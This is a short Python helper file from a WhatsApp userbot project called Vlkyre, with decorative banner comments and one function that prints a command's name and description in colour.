2022-03-07T19:13:36.000Z

InfoUp.py

RED-ALISON/Vlkyre

03e2d7b1e00917e109dd6dfe44fee936b3d22ee2

[ "Apache-2.0" ]

null

InfoUp.py

RED-ALISON/Vlkyre

03e2d7b1e00917e109dd6dfe44fee936b3d22ee2

[ "Apache-2.0" ]

1

2022-03-07T19:14:20.000Z

# |⬡════════════════════════════════════════════|❝ Ⓒ𝐕𝐥𝐤𝐲𝐫𝐞 ☊ ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴋʀᴀᴋɪɴᴢʟᴀʙ™ ❞|═══════════════════════════════════════════⬡| # (𝐜)𝐕𝐥𝐤𝐲𝐫𝐞 𝐢𝐬 𝐚 𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 𝐌𝐮𝐥𝐭𝐢𝐏𝐮𝐫𝐩𝐨𝐬𝐞-𝐔𝐬𝐞𝐫𝐛𝐨𝐭 𝐰𝐢𝐭𝐡 𝐌𝐨𝐝𝐞𝐫𝐚𝐭𝐢𝐨𝐧,𝐀𝐮𝐭𝐨𝐦𝐚𝐭𝐢𝐨𝐧 𝐚𝐧𝐝 𝟏𝟎𝟎+ 𝐦𝐨𝐫𝐞 𝐜𝐨𝐦𝐦𝐚𝐧𝐝𝐬! # |⬡════════════════════════════════════════════|❝ Ⓒ𝐕𝐥𝐤𝐲𝐫𝐞 ☊ ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴋʀᴀᴋɪɴᴢʟᴀʙ™ ❞|═══════════════════════════════════════════⬡| from termcolor import * def my_func(cname , cdesc): cprint(f"⚡𝐂𝐨𝐦𝐦𝐚𝐧𝐝: {cname}\n🌴𝐃𝐞𝐬𝐜𝐫𝐢𝐩𝐭𝐢𝐨𝐧: {cdesc}", "green") # |⬡════════════════════════════════════════════|❝ Ⓒ𝐕𝐥𝐤𝐲𝐫𝐞 ☊ ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴋʀᴀᴋɪɴᴢʟᴀʙ™ ❞|═══════════════════════════════════════════⬡| # (𝐜)𝐕𝐥𝐤𝐲𝐫𝐞 𝐢𝐬 𝐚 𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 𝐌𝐮𝐥𝐭𝐢𝐏𝐮𝐫𝐩𝐨𝐬𝐞-𝐔𝐬𝐞𝐫𝐛𝐨𝐭 𝐰𝐢𝐭𝐡 𝐌𝐨𝐝𝐞𝐫𝐚𝐭𝐢𝐨𝐧,𝐀𝐮𝐭𝐨𝐦𝐚𝐭𝐢𝐨𝐧 𝐚𝐧𝐝 𝟏𝟎𝟎+ 𝐦𝐨𝐫𝐞 𝐜𝐨𝐦𝐦𝐚𝐧𝐝𝐬! # |⬡════════════════════════════════════════════|❝ Ⓒ𝐕𝐥𝐤𝐲𝐫𝐞 ☊ ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴋʀᴀᴋɪɴᴢʟᴀʙ™ ❞|═══════════════════════════════════════════⬡|

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